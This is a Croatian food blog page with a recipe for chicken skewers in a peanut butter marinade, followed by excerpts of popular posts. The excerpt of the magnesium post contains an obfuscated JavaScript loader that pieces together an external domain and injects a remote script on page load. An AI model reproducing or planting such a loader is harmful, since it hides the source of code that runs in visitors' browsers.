PILEĆI RAŽNJIĆI U MARINADI OD MASLACA OD KIKIRIKIJA 🥜




Pileći ražnjići u marinadi od maslaca od kikirikija 




Pileći ražnjići u marinadi od maslaca od kikirikija jednostavan su i ukusan ručak ili večera koji će oduševiti cijelu obitelj. Sočno meso u marinadi od maslaca od kikirikija, sojinog umaka, sezamova ulja i češnjaka ima bogat okus koji malo podsjeća na Aziju.





Pileći ražnjići u marinadi od maslaca od kikirikija 


Sastojci:

  • 130 g glatkog kikiriki maslaca
  • 6 češnjeva češnjaka, sitno nasjeckanih
  • 2 žlice soja-umaka
  • 2 žlice prženog sezamova ulja
  • 1 žlica alkoholnog octa
  • 4 mlada luka, sitno nasjeckana
  • 15 g svježeg korijandra, sitno nasjeckanog (plus za posluživanje)
  • 2 čajne žličice mljevenog đumbira
  • 1 čajna žličica soli
  • 1,35 kg pilećih zabataka bez kosti i kože, narezanih na kocke od oko 2,5 cm
  • malo ulja, za premazivanje
  • 75 g prženog kikirikija, grubo nasjeckanog
  • čili pahuljice, po želji




Priprema:

  1. U većoj zdjeli pomiješajte kikiriki maslac, sitno nasjeckani češnjak, soja umak, sezamovo ulje, ocat, polovicu mladog luka, korijandar, mljeveni đumbir i sol. Miješajte dok ne dobijete glatku, jednoličnu marinadu.
  2. Dodajte komade piletine i dobro ih promiješajte kako bi svaki bio potpuno obložen marinadom. Pokrijte zdjelu i ostavite u hladnjaku najmanje 30 minuta, a za još intenzivniji okus možete marinirati preko noći.

    Pečenje u pećnici

  1. Pećnicu zagrijte na 200 stupnjeva.
  2. Na lim za pečenje stavite metalnu rešetku i lagano je premažite uljem. Izvadite piletinu iz marinade i pustite da višak kratko ocijedi. Komade mesa gusto nanižite na ražnjiće pa ih rasporedite na rešetku.
  3. Pecite oko 20 minuta, odnosno dok piletina ne bude potpuno pečena.
  4. Pospite preostalim mladim lukom, svježim korijandrom i nasjeckanim kikirikijem te po želji dodajte malo čili pahuljica.

    Pečenje na roštilju

  1. Zagrijte roštilj na srednje jaku temperaturu i lagano nauljite rešetku.
  2. Piletinu izvadite iz marinade, nanižite na ražnjiće i pecite 10 do 12 minuta, okrećući ih na polovici pečenja, dok meso ne bude lijepo zapečeno sa svih strana i potpuno pečeno.
  3. Poslužite odmah.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više